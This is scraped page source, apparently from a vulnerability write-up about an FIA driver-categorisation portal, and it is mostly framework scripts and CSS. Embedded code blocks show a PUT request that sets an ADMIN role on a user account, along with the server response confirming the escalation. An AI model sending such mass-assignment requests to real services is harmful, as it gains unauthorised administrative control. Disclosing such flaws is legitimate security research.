805<script>$RB=[];$RV=function(a){$RT=performance.now();for(var b=0;b<a.length;b+=2){var c=a[b],e=a[b+1];null!==e.parentNode&&e.parentNode.removeChild(e);var f=c.parentNode;if(f){var g=c.previousSibling,h=0;do{if(c&&8===c.nodeType){var d=c.data;if("/$"===d||"/&"===d)if(0===h)break;else h--;else"$"!==d&&"$?"!==d&&"$~"!==d&&"$!"!==d&&"&"!==d||h++}d=c.nextSibling;f.removeChild(c);c=d}while(c);for(;e.firstChild;)f.insertBefore(e.firstChild,c);g.data="$";g._reactRetry&&requestAnimationFrame(g._reactRetry)}}a.length=0};
806$RC=function(a,b){if(b=document.getElementById(b))(a=document.getElementById(a))?(a.previousSibling.data="$~",$RB.push(a,b),2===$RB.length&&("number"!==typeof $RT?requestAnimationFrame($RV.bind(null,$RB)):(a=performance.now(),setTimeout($RV.bind(null,$RB),2300>a&&2E3<a?2300-a:$RT+300-a)))):b.parentNode.removeChild(b)};$RC("B:0","S:0")</script>
806<div hidden id="S:1"><pre class="language-json"><code class="language-json">HTTP/1.1 200
807Content-type: application/json
808Content-Length: 313
809
810{
811  &quot;id&quot;: 12934,
812  &quot;email&quot;: &quot;[email protected]&quot;,
813  &quot;firstName&quot;: &quot;Sam&quot;,
814  &quot;lastName&quot;: &quot;Curry&quot;,
815  &quot;nickName&quot;: null,
816  &quot;keepNamePrivate&quot;: false,
817  &quot;nickName2&quot;: null,
818  &quot;birthDate&quot;: &quot;2000-02-17&quot;,
819  &quot;gender&quot;: null,
820  &quot;token&quot;: null,
821  &quot;roles&quot;: null,
822  &quot;country&quot;: null,
823  &quot;filters&quot;: [],
824  &quot;status&quot;: &quot;ACTIVATED&quot;,
825  &quot;secondaryEmail&quot;: null
826}</code></pre></div>
826<script>$RC("B:1","S:1")</script>
826<div hidden id="S:2"><pre class="language-json"><code class="language-json">PUT /api/users/12934 HTTP/1.1
827Host: driverscategorisation.fia.com
828User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
829Content-Length: 246
830Content-Type: application/json
831
832{
833  &quot;id&quot;: 12934,
834  &quot;email&quot;: &quot;[email protected]&quot;,
835  &quot;firstName&quot;: &quot;Sam&quot;,
836  &quot;lastName&quot;: &quot;Curry&quot;,
837  &quot;nickName&quot;: null,
838  &quot;roles&quot;: [
839    {
840      &quot;id&quot;: 1,
841      &quot;description&quot;: &quot;ADMIN role&quot;,
842      &quot;name&quot;: &quot;ADMIN&quot;
843    }
844  ]
845}</code></pre></div>
845<script>$RC("B:2","S:2")</script>
845<div hidden id="S:3"><pre class="language-json"><code class="language-json">HTTP/1.1 200
846Content-type: application/json
847Content-Length: 313
848
849{
850  &quot;id&quot;: 12934,
851  &quot;email&quot;: &quot;[email protected]&quot;,
852  &quot;firstName&quot;: &quot;Sam&quot;,
853  &quot;lastName&quot;: &quot;Curry&quot;,
854  &quot;nickName&quot;: null,
855  &quot;keepNamePrivate&quot;: false,
856  &quot;nickName2&quot;: null,
857  &quot;birthDate&quot;: &quot;1999-10-17&quot;,
858  &quot;gender&quot;: null,
859  &quot;token&quot;: null,
860  &quot;roles&quot;: [
861    {
862      &quot;id&quot;: 1,
863      &quot;description&quot;: &quot;ADMIN role&quot;,
864      &quot;name&quot;: &quot;ADMIN&quot;
865    }
866  ],
867  &quot;country&quot;: null,
868  &quot;filters&quot;: [],
869  &quot;status&quot;: &quot;ACTIVATED&quot;,
870  &quot;secondaryEmail&quot;: null
871}
872</code></pre></div>
872<script>$RC("B:3","S:3")</script>
872<script>(self.__next_f=self.__next_f||[]).push([0])</script>
872<script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[339756,[\"/_next/static/chunks/0ylgcnss9ue9v.js\"],\"default\"]\n3:I[837457,[\"/_next/static/chunks/0ylgcnss9ue9v.js\"],\"default\"]\n6:I[897367,[\"/_next/static/chunks/0ylgcnss9ue9v.js\"],\"OutletBoundary\"]\n7:\"$Sreact.suspense\"\na:I[897367,[\"/_next/static/chunks/0ylgcnss9ue9v.js\"],\"ViewportBoundary\"]\nc:I[897367,[\"/_next/static/chunks/0ylgcnss9ue9v.js\"],\"MetadataBoundary\"]\ne:I[168027,[],\"default\",1]\n:HC[\"/\",\"\"]\n:HL[\"/_next/static/chunks/16sz9a438v8dy.css\",\"style\"]\n9:X\n0:{\"P\":null,\"c\":[\"\",\"main\",\"ian.sh\",\"fia\"],\"q\":\"\",\"i\":false,\"f\":[[[\"\",{\"children\":[\"main\",{\"children\":[[\"site\",\"ian.sh\",\"d\",[]],{\"children\":[[\"page\",\"fia\",\"oc\",[]],{\"children\":[\"__PAGE__\",{},\"$undefined\",\"$undefined\",4224]},\"$undefined\",\"$undefined\",4144]},\"$undefined\",\"$undefined\",4208]},\"$undefined\",\"$undefined\",4208]},\"$undefined\",\"$undefined\",4176],[[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":404}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]],[]],\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]]}],{\"children\":[[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":\"$undefined\",\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]]}],{\"children\":[[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":\"$undefined\",\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]]}],{\"children\":[[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"script\",\"script-0\",{\"src\":\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-1\",{\"src\":\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-2\",{\"src\":\"/_next/static/chunks/0rr5btioklgf4.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-3\",{\"src\":\"/_next/static/chunks/2matreab0rub0.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-4\",{\"src\":\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-5\",{\"src\":\"/_next/static/chunks/3cmvik1zogxvy.js\",\"async\":true,\"nonce\":\"$undefined\"}]],\"$L4\"]}],{\"children\":[[\"$\",\"$1\",\"c\",{\"children\":[\"$L5\",[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/chunks/16sz9a438v8dy.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-0\",{\"src\":\"/_next/static/chunks/0tebe-k_4bvw8.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-1\",{\"src\":\"/_next/static/chunks/08sikk1eypppo.js\",\"async\":true,\"nonce\":\"$undefined\"}
872],[\"$\",\"script\",\"script-2\",{\"src\":\"/_next/static/chunks/1thlt7ghjj4x5.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-3\",{\"src\":\"/_next/static/chunks/41l0cu_krzrbf.js\",\"async\":true,\"nonce\":\"$undefined\"}]],[\"$\",\"$L6\",null,{\"children\":[\"$\",\"$7\",null,{\"name\":\"Next.MetadataOutlet\",\"children\":\"$@8\"}]}]]}],{},null,false,null]},null,false,null]},null,false,\"$9\"]},null,false,\"$9\"]},null,false,\"$9\"],[\"$\",\"$1\",\"h\",{\"children\":[null,[\"$\",\"$La\",null,{\"children\":\"$Lb\"}],[\"$\",\"div\",null,{\"hidden\":true,\"children\":[\"$\",\"$Lc\",null,{\"children\":[\"$\",\"$7\",null,{\"name\":\"Next.Metadata\",\"children\":\"$Ld\"}]}]}],null]}],false]],\"m\":\"$undefined\",\"G\":[\"$e\",[]],\"S\":true,\"h\":null,\"r\":\"$undefined\",\"s\":\"$undefined\",\"a\":\"$undefined\",\"l\":\"$undefined\",\"p\":\"$undefined\",\"d\":\"$undefined\",\"b\":\"8nKJgvzrVfFJJjcVzY9_u\"}\n9:C\nb:[[\"$\",\"meta\",\"0\",{\"charSet\":\"utf-8\"}],[\"$\",\"meta\",\"1\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}]]\n"])</script>
872<script>self.__next_f.push([1,"f:T438,\n  (function () {\n    if (typeof Node !== \"function\" || !Node.prototype || Node.prototype.__superDomGuard) {\n      return;\n    }\n    Node.prototype.__superDomGuard = true;\n\n    var originalRemoveChild = Node.prototype.removeChild;\n    Node.prototype.removeChild = function (child) {\n      if (child \u0026\u0026 child.parentNode !== this) {\n        if (typeof console !== \"undefined\" \u0026\u0026 console.warn) {\n          console.warn(\"[super] skipped removeChild for node not in this parent\", child, this);\n        }\n        return child;\n      }\n      return originalRemoveChild.apply(this, arguments);\n    };\n\n    var originalInsertBefore = Node.prototype.insertBefore;\n    Node.prototype.insertBefore = function (newNode, referenceNode) {\n      if (referenceNode \u0026\u0026 referenceNode.parentNode !== this) {\n        if (typeof console !== \"undefined\" \u0026\u0026 console.warn) {\n          console.warn(\"[super] skipped insertBefore for reference node not in this parent\", referenceNode, this);\n        }\n        return newNode;\n      }\n      return originalInsertBefore.apply(this, arguments);\n    };\n  })();\n10:T1465,\n      @font-face {\n        font-family: \"Inter\";\n        font-style: normal;\nfont-display: swap;\n        font-weight: 400;\n        src: url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.eot\"); /* IE9 Compat Modes */\n        \n          src: local(\"\"),\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.eot?#iefix\")\n            format(\"embedded-opentype\"),\n            /* IE6-IE8 */\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.woff2\")\n            format(\"woff2\"),\n            /* Super Modern Browsers */\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.woff\")\n            format(\"woff\"),\n            /* Modern Browsers */\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.ttf\")\n            format(\"truetype\"),\n            /* Safari, Android, iOS */\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.svg#Inter\")\n            format(\"svg\"); /* Legacy iOS */\n        \n      }\n    \n      @font-face {\n        font-family: \"Inter\";\n        font-style: normal;\nfont-display: swap;\n        font-weight: 500;\n        src: url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.eot\"); /* IE9 Compat Modes */\n        \n          src: local(\"\"),\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.eot?#iefix\")\n            format(\"embedded-opentype\"),\n            /* IE6-IE8 */\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.woff2\")\n            format(\"woff2\"),\n            /* Super Modern Browsers */\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.woff\")\n            format(\"woff\"),\n            /* Modern Browsers */\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.ttf\")\n            format(\"truetype\"),\n            /* Safari, Android, iOS */\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.svg#Inter\")\n            format(\"svg\"); /* Legacy iOS */\n        \n      }\n    \n      @font-face {\n        font-family: \"Inter\";\n        font-style: normal;\nfont-display: swap;\n        font-weight: 600;\n        src: url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.eot\"); /* IE9 Compat Modes */\n        \n          src: local(\"\"),\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.eot?#iefix\")\n            format(\"embedded-opentype\"),\n            /* IE6-IE8 */\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.woff2\")\n            format(\"woff2\"),\n            /* Super Modern Browsers */\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.woff\")\n            format(\"woff\"),\n            /* Modern Browsers */\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.ttf\")\n            format(\"truetype\"),\n            /* Safari, Android, iOS */\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.svg#Inter\")\n            format(\"svg\"); /* Legacy iOS */\n        \n      }\n    \n      @font-face {\n        font-family: \"Inter\";\n        font-style: normal;\nfont-display: swap;\n        font-weight: 700;\n        src: url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.eot\"); /* IE9 Compat Modes */\n        \n          src: local(\"\"),\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.eot?#iefix\")\n            format(\"embedded-opentype\"),\n            /* IE6-IE8 */\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.woff2\")\n            format(\"woff2\"),\n            /* Super Modern Browsers */\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.woff\")\n            format(\"woff\"),\n            /* Modern Browsers */\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.ttf\")\n            format(\"truetype\"),\n            /* Safari, Android, iOS */\n            url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.svg#Inter\")\n            format(\"svg\"); /* Legacy iOS */\n        \n      }\n    \n      @font-face {\n        font-family: \"Inter-fallback\";\n        size-adjust: 107%;\n        ascent-override: 90%;\n        src: local(\"Arial\");\n      }\n    4:[\"$\",\"html\",null,{\"lang\":\"en\",\"dir\":\"ltr\",\"className\":\"$undefined\",\"suppressHydrationWarning\":true,\"children\":[[\"$\",\"head\",null,{\"children\":[[\"$\",\"script\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"$f\"}}],[\"$\",\"link\",null,{\"rel\":\"icon\",\"href\":\"https://s3.amazonaws.com/super-notion/images/a35ee276-8605-424a-9466-bacce4ec24fd.png\"}],[\"$\",\"script\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"\\n    const html = document.getElementsByTagName(\\\"html\\\")[0];\\n    try {\\n      const colorPreference = localStorage\\n        ? localStorage.getItem(\\\"color-preference\\\")\\n        : null;\\n\\n      if (false) {\\n        html.classList.remove(\\\"undefined\\\");\\n      }\\n      \\n      if (false \u0026\u0026 colorPreference \u0026\u0026 html) {\\n        html.classList.add(\\\"theme-\\\" + colorPreference);\\n      } else {\\n        html.classList.add(\\\"theme-default\\\");\\n      }\\n    } catch (e) {\\n      console.log('ERROR themeEffect', e)\\n      html.classList.add(\\\"theme-default\\\");\\n    }\\n\"}}],[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"$10\"}}],\"$L11\",\"$L12\",[\"$L13\",\"$L14\",\"$L15\",\"$L16\"],[\"$L17\"]]}],\"$L18\"]}]\n"])</script>
872<script>self.__next_f.push([1,"19:I[868422,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\"],\"SiteProvider\"]\n1a:I[920494,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\"],\"ThemeProvider\"]\n:HL[\"/styles/static.css\",\"style\"]\n:HL[\"/styles/notion.css\",\"style\"]\n:HL[\"/styles/super.css\",\"style\"]\n:HL[\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.woff2\",\"font\",{\"crossOrigin\":\"anonymous\",\"type\":\"font/woff2\"}]\n:HL[\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.woff2\",\"font\",{\"crossOrigin\":\"anonymous\",\"type\":\"font/woff2\"}]\n:HL[\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.woff2\",\"font\",{\"crossOrigin\":\"anonymous\",\"type\":\"font/woff2\"}]\n:HL[\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.woff2\",\"font\",{\"crossOrigin\":\"anonymous\",\"type\":\"font/woff2\"}]\n11:[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"html{font-size:16px}\"}}]\n12:[[\"$\",\"link\",\"/styles/static.css\",{\"rel\":\"stylesheet\",\"href\":\"/styles/static.css\",\"precedence\":\"default\"}],[\"$\",\"link\",\"/styles/notion.css\",{\"rel\":\"stylesheet\",\"href\":\"/styles/notion.css\",\"precedence\":\"default\"}],[\"$\",\"link\",\"/styles/super.css\",{\"rel\":\"stylesheet\",\"href\":\"/styles/super.css\",\"precedence\":\"default\"}]]\n13:[\"$\",\"link\",\"font-preload-Inter-regular\",{\"rel\":\"preload\",\"href\":\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.woff2\",\"crossOrigin\":\"anonymous\",\"as\":\"font\",\"type\":\"font/woff2\"}]\n14:[\"$\",\"link\",\"font-preload-Inter-500\",{\"rel\":\"preload\",\"href\":\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.woff2\",\"crossOrigin\":\"anonymous\",\"as\":\"font\",\"type\":\"font/woff2\"}]\n15:[\"$\",\"link\",\"font-preload-Inter-600\",{\"rel\":\"preload\",\"href\":\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.woff2\",\"crossOrigin\":\"anonymous\",\"as\":\"font\",\"type\":\"font/woff2\"}]\n16:[\"$\",\"link\",\"font-preload-Inter-700\",{\"rel\":\"preload\",\"href\":\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.woff2\",\"crossOrigin\":\"anonymous\",\"as\":\"font\",\"type\":\"font/woff2\"}]\n17:[\"$\",\"script\",\"0\",{\"defer\":true,\"data-domain\":\"ian.sh\",\"src\":\"https://plausible.io/js/script.js\",\"children\":null}]\n1b:T14f4,\n    :root {\n      /* Layout */\n      --padding-layout: 0.6rem;\n      --border-radii-layout: 5px;\n      --border-thickness-layout: 1px;\n      --border-type-layout: solid;\n      --border-layout: var(--border-thickness-layout)\n        var(--border-type-layout) var(--color-border-default);\n      --layout-max-width: 900px;\n      --column-spacing: 46px;\n      --page-display: flex;\n      --padding-right: calc(env(safe-area-inset-right) + 96px);\n      --padding-left: calc(env(safe-area-inset-left) + 96px);\n      --padding-right-mobile: calc(env(safe-area-inset-right) + 24px);\n      --padding-left-mobile: calc(env(safe-area-inset-left) + 24px);\n      /* Header */\n      --header-cover-height: 30vh;\n      --header-title-align: start;\n      --header-icon-align: -112px auto auto auto;\n      --header-display: block;\n      /* Collection header */\n      --collection-header-border: var(--border-layout);\n      /* Collection table */\n      --collection-table-cell-padding: calc(var(--padding-layout) - 0.3rem)\n        calc(var(--padding-layout) - 0.1rem);\n      /* Collection list */\n      --collection-list-item-padding: calc(var(--padding-layout) - 0.5rem);\n      --collection-list-item-border-radii: calc(\n        var(--border-radii-layout) - 1px\n      );\n      /* Collection card */\n      --collection-card-padding: 0px;\n      --collection-card-title-padding: 0px;\n      --collection-card-content-padding: var(--padding-layout);\n      --collection-card-border-radii: var(--border-radii-layout);\n      --collection-card-gap: 10px;\n      --collection-card-shadow: rgba(15, 15, 15, 0.1) 0px 0px 0px 1px, rgba(15, 15, 15, 0.1) 0px 2px 4px;\n      --collection-card-title-size: 0.875rem;\n      --collection-card-cover-height-small: 128px;\n      --collection-card-cover-size-small: 172px;\n      --collection-card-cover-height-medium: 200px;\n      --collection-card-cover-size-medium: 260px;\n      --collection-card-cover-height-large: 200px;\n      --collection-card-cover-size-large: 320px;\n      --collection-card-icon-display: inline-flex;\n      /* Callout */\n      --callout-padding: calc(var(--padding-layout) + 0.4rem)\n        calc(var(--padding-layout) + 0.4rem)\n        calc(var(--padding-layout) + 0.4rem)\n        calc(var(--padding-layout) + 0.1em);\n      --callout-border-radii: calc(var(--border-radii-layout) - 2px);\n      --callout-border: var(--border-layout);\n      --callout-icon-display: block;\n      --callout-shadow: none;\n      /* File */\n      --file-border-radii: calc(var(--border-radii-layout) - 2px);\n      /* Equation */\n      --equation-border-radii: calc(var(--border-radii-layout) - 2px);\n      /* Divider */\n      --divider-border: var(--border-layout);\n      /* Quote */\n      --quote-border: calc(var(--border-thickness-layout) + 2px) solid\n        currentcolor;\n      /* Code */\n      --code-padding: calc(var(--padding-layout) + 1.4rem);\n      --code-border-radii: var(--border-radii-layout);\n      /* Tweet */\n      --tweet-padding: calc(var(--padding-layout) + 0.65rem)\n        calc(var(--padding-layout) + 0.65rem)\n        calc(var(--padding-layout) + 0.05rem)\n        calc(var(--padding-layout) + 0.65rem);\n      --tweet-border-radii: var(--border-radii-layout);\n      --tweet-border: var(--border-layout);\n      /* Bookmark */\n      --bookmark-padding: calc(var(--padding-layout) + 0.15rem) 0p
872x\n        calc(var(--padding-layout) + 0.025rem)\n        calc(var(--padding-layout) + 0.275rem);\n      --bookmark-border-radii: var(--border-radii-layout);\n      --bookmark-border: var(--border-layout);\n      --bookmark-image-border-radii: 0px\n        calc(var(--border-radii-layout) - 1px)\n        calc(var(--border-radii-layout) - 1px) 0px;\n      /* Embed */\n      --embed-border-radii: calc(var(--border-radii-layout) - 5px);\n      /* Image */\n      --image-border-radii: calc(var(--border-radii-layout) - 5px);\n      /* Typography */\n      --title-size: 2.5rem;\n      --quote-size: 1.2rem;\n      --quote-size-large: 1.4rem;\n      --heading-size: 1rem;\n      --primary-font: Inter, Inter-fallback, Helvetica, Apple Color Emoji,\n        Segoe UI Emoji, NotoColorEmoji, Noto Color Emoji,\n        Segoe UI Symbol, Android Emoji, EmojiSymbols, -apple-system,\n        BlinkMacSystemFont, Segoe UI, Roboto, Helvetica Neue, Noto Sans,\n        sans-serif;\n        --secondary-font: Inter, Inter-fallback, Helvetica, Apple Color Emoji,\n        Segoe UI Emoji, NotoColorEmoji, Noto Color Emoji,\n        Segoe UI Symbol, Android Emoji, EmojiSymbols, -apple-system,\n        BlinkMacSystemFont, Segoe UI, Roboto, Helvetica Neue, Noto Sans,\n        sans-serif;\n      --text-weight: normal;\n      --heading-weight: 600;\n      --heading1-size: calc(var(--heading-size) * 1.875);\n      --heading2-size: calc(var(--heading-size) * 1.5);\n      --heading3-size: calc(var(--heading-size) * 1.25);\n      --heading4-size: calc(var(--heading-size) * 1);\n      --heading5-size: calc(var(--heading-size) * 0.8125);\n      /* Scrollbars */\n      --scrollbar-width: 15px;\n      /* Navbar */\n      --navbar-height: 56px;\n      --navbar-shadow: ;\n      --navbar-button-border-radii: 50px;\n      --navbar-list-width-single-column: 320px;\n      --navbar-list-width: 620px;\n      /*Sidebar*/\n      --sidebar-width: 280px;\n      --sidebar-shadow: ;\n    }\n    html {\n      scroll-padding-top: 62px;\n    }\n    body {\n      font-family: var(--secondary-font);\n    }\n\n    \n  1c:T5aa6,\n    html.theme-light {\n      /* Gray */\n      --gray-h: 45;\n      --gray-s: 2%;\n      --gray-l: 46%;\n      --color-gray: hsl(var(--gray-h), var(--gray-s), var(--gray-l));\n      --color-text-gray: var(--color-gray);\n      --color-bg-gray: hsl(\n        var(--gray-h),\n        var(--gray-s),\n        90%\n      );\n      --color-bg-gray-light: var(--color-bg-gray);\n      --color-pill-gray: hsl(\n        calc(var(--gray-h) + 14),\n        var(--gray-s),\n        88%\n      );\n      --color-pill-text-gray: hsl(\n        var(--gray-h),\n        var(--gray-s),\n        calc(var(--gray-l) - 28%)\n      );\n      --color-bg-form-btn-gray: #A7A39A;\n\n      /* Brown */\n      --brown-h: 19;\n      --brown-s: 31%;\n      --brown-l: 47%;\n      --color-brown: hsl(var(--brown-h), var(--brown-s), var(--brown-l));\n      --color-text-brown: var(--color-brown);\n      --color-bg-brown: hsl(\n        var(--brown-h),\n        var(--brown-s),\n        90%\n      );\n      --color-bg-brown-light: var(--color-bg-brown);\n      --color-pill-brown: hsl(\n        var(--brown-h),\n        calc(var(--brown-s) + 10%),\n        89%\n      );\n      --color-pill-text-brown: hsl(\n        var(--brown-h),\n        calc(var(--brown-s) + 10%),\n        calc(var(--brown-l) - 28%)\n      );\n      --color-bg-form-btn-brown: #9A6851;\n\n      /* Orange */\n      --orange-h: 30;\n      --orange-s: 87%;\n      --orange-l: 45%;\n      --color-orange: hsl(\n        var(--orange-h),\n        var(--orange-s),\n        var(--orange-l)\n      );\n      --color-text-orange: var(--color-orange);\n      --color-bg-orange: hsl(\n        var(--orange-h),\n        var(--orange-s),\n        90%\n      );\n      --color-bg-orange-light: var(--color-bg-orange);\n      --color-pill-orange: hsl(\n        var(--orange-h),\n        calc(var(--orange-s) - 6%),\n        87%\n      );\n      --color-pill-text-orange: hsl(\n        calc(var(--orange-h) - 5),\n        calc(var(--orange-s) - 18%),\n        calc(var(--orange-l) - 28%)\n      );\n      --color-bg-form-btn-orange: #D9730D;\n\n      /* Yellow */\n      --yellow-h: 38;\n      --yellow-s: 62%;\n      --yellow-l: 49%;\n      --color-yellow: hsl(\n        var(--yellow-h),\n        var(--yellow-s),\n        var(--yellow-l)\n      );\n      --color-text-yellow: var(--color-yellow);\n      --color-bg-yellow: hsl(\n        var(--yellow-h),\n        calc(var(--yellow-s) + 90%),\n        90%\n      );\n      --color-bg-yellow-light: var(--color-bg-yellow);\n      --color-pill-yellow: hsl(\n        calc(var(--yellow-h) + 3),\n        calc(var(--yellow-s) + 24%),\n        90%\n      );\n      --color-pill-text-yellow: hsl(\n        calc(var(--yellow-h) - 11),\n        calc(var(--yellow-s) - 22%),\n        calc(var(--yellow-l) - 28%)\n      );\n      --color-bg-form-btn-yellow: #CA922F;\n\n      /* Green */\n      --green-h: 149;\n      --green-s: 31%;\n      --green-l: 39%;\n      --color-green: hsl(var(--green-h), var(--green-s), var(--green-l));\n      --color-text-green: var(--color-green);
